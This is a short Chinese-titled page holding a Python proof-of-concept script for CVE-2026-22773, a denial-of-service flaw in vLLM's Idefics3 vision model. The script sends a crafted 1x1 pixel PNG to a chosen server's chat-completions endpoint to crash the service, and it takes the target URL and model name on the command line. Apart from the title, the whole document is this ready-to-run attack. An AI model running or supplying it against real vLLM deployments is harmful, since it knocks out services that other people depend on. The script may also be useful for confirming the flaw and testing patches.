vLLM Idefics3视觉模型1x1像素图像导致服务崩溃漏洞 (CVE-2026-22773)

#!/usr/bin/env python3 """ CVE-2026-22773 PoC - vLLM Idefics3 DoS via 1x1 pixel image This PoC demonstrates the denial of service vulnerability in vLLM's Idefics3 model implementation. """ import base64 import json import requests def create_1x1_pixel_image(): """Create a minimal 1x1 pixel PNG image (1x1 transparent pixel)""" # Minimal valid PNG: 1x1 transparent pixel png_data = base64.b64decode( 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==' ) return png_data def exploit_vllm_dos(target_url, model_name): """ Send a crafted 1x1 pixel image to trigger the DoS vulnerability Args: target_url: Base URL of vLLM server (e.g., 'http://localhost:8000') model_name: Name of the Idefics3 model in service """ headers = { 'Content-Type': 'application/json' } # Create the 1x1 pixel image image_bytes = create_1x1_pixel_image() image_base64 = base64.b64encode(image_bytes).decode('utf-8') # Construct request payload for multimodal inference payload = { 'model': model_name, 'messages': [ { 'role': 'user', 'content': [ { 'type': 'text', 'text': 'Describe this image briefly.' }, { 'type': 'image_url', 'image_url': { 'url': f'data:image/png;base64,{image_base64}' } } ] } ], 'max_tokens': 100, 'temperature': 0.7 } try: response = requests.post( f'{target_url}/v1/chat/completions', headers=headers, json=payload, timeout=30 ) print(f'Response status: {response.status_code}') print(f'Response: {response.text}') except requests.exceptions.RequestException as e: print(f'Request failed (service may have crashed): {e}') if __name__ == '__main__': import sys if len(sys.argv) < 3: print('Usage: python cve_2026_22773_poc.py <vllm_url> <model_name>') print('Example: python cve_2026_22773_poc.py http://localhost:8000 idefics3-8b') sys.exit(1) target = sys.argv[1] model = sys.argv[2] print(f'Targeting vLLM at {target} with model {model}') print('Sending crafted 1x1 pixel image...') exploit_vllm_dos(target, model)